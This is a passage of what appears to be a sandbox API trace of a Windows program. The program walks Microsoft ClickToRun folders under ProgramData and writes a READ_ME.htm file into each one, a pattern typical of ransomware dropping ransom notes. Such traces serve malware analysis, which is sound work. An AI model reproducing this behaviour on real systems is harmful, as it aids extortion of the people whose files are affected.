ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.364] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2f05a9d0, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.364] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Catalog", cAlternateFileName="")) returned 1 [0137.365] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1 [0137.365] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 0 [0137.365] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.365] SetErrorMode (uMode=0x0) returned 0x1 [0137.366] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x37 [0137.366] SetErrorMode (uMode=0x1) returned 0x0 [0137.366] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.366] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0137.367] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0137.367] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.367] SetErrorMode (uMode=0x0) returned 0x1 [0137.367] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog", lpFilePart=0x0) returned 0x37 [0137.368] SetErrorMode (uMode=0x1) returned 0x0 [0137.368] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 1 [0137.368] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x300b8110, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Packages", cAlternateFileName="")) returned 0 [0137.368] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.369] SetErrorMode (uMode=0x0) returned 0x1 [0137.369] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x40 [0137.369] SetErrorMode (uMode=0x1) returned 0x0 [0137.370] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4da3a780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4da3a780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.370] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x300b8110, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x4da3a780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.370] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.371] SetErrorMode (uMode=0x0) returned 0x1 [0137.371] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages", lpFilePart=0x0) returned 0x40 [0137.371] SetErrorMode (uMode=0x1) returned 0x0 [0137.371] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4da3a780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4da3a780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.372] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4da3a780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4da3a780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.372] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x300b8110, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x4da3a780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0x4da3a780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.372] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.372] SetErrorMode (uMode=0x0) returned 0x1 [0137.372] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\READ_ME.htm", lpFilePart=0x0) returned 0x4c [0137.373] SetErrorMode (uMode=0x1) returned 0x0 [0137.373] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\Packages\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.373] GetFileType (hFile=0x1d0) returned 0x1 [0137.373] SetErrorMode (uMode=0x0) returned 0x1 [0137.373] GetFileType (hFile=0x1d0) returned 0x1 [0137.374] WriteFile (in: hFile=0x1d0, lpBuffer=0x2939460*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2939460*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0137.375] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\READ_ME.htm", lpFilePart=0x0) returned 0x43 [0137.376] SetErrorMode (uMode=0x1) returned 0x0 [0137.376] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Catalog\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\catalog\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.376] GetFileType (hFile=0x1d0) returned 0x1 [0137.376] SetErrorMode (uMode=0x0) returned 0x1 [0137.377] GetFileType (hFile=0x1d0) returned 0x1 [0137.377] WriteFile (in: hFile=0x1d0, lpBuffer=0x293da30*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x293da30*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0137.379] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3b [0137.379] SetErrorMode (uMode=0x1) returned 0x0 [0137.380] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.380] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0137.381] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0137.381] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.381] SetErrorMode (uMode=0x0) returned 0x1 [0137.381] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration", lpFilePart=0x0) returned 0x3b [0137.382] SetErrorMode (uMode=0x1) returned 0x0 [0137.382] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.382] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.383] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 1 [0137.383] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShortcutBackups", cAlternateFileName="SHORTC~1")) returned 0 [0137.383] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.383] SetErrorMode (uMode=0x0) returned 0x1 [0137.384] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4b [0137.384] SetErrorMode (uMode=0x1) returned 0x0 [0137.384] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.385] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.385] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.385] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.385] SetErrorMode (uMode=0x0) returned 0x1 [0137.385] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups", lpFilePart=0x0) returned 0x4b [0137.385] SetErrorMode (uMode=0x1) returned 0x0 [0137.386] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\*" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0137.386] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.386] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x31696b30, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0x31696b30, ftLastAccessTime.dwHighDateTime=0x1d70910, ftLastWriteTime.dwLowDateTime=0x31696b30, ftLastWriteTime.dwHighDateTime=0x1d70910, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0137.386] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0137.386] SetErrorMode (uMode=0x0) returned 0x1 [0137.387] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\READ_ME.htm", lpFilePart=0x0) returned 0x57 [0137.387] SetErrorMode (uMode=0x1) returned 0x0 [0137.387] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\MachineData\\Integration\\ShortcutBackups\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\clicktorun\\machinedata\\integration\\shortcutbackups\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0137.388] GetFileType (hFile=0x1d0) returned 0x1 [0137.388] SetErrorMode (uMode=0x0) returned 0x1 [0137.388] GetFileType (hFile=0x1d0) returned 0x1 [0137.388] WriteFile (in: hFile=0x1d0, lpBuffer=0x2945740*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2945740*, lpNumberOfBytesWritten=0x21d2d8*=0x720, 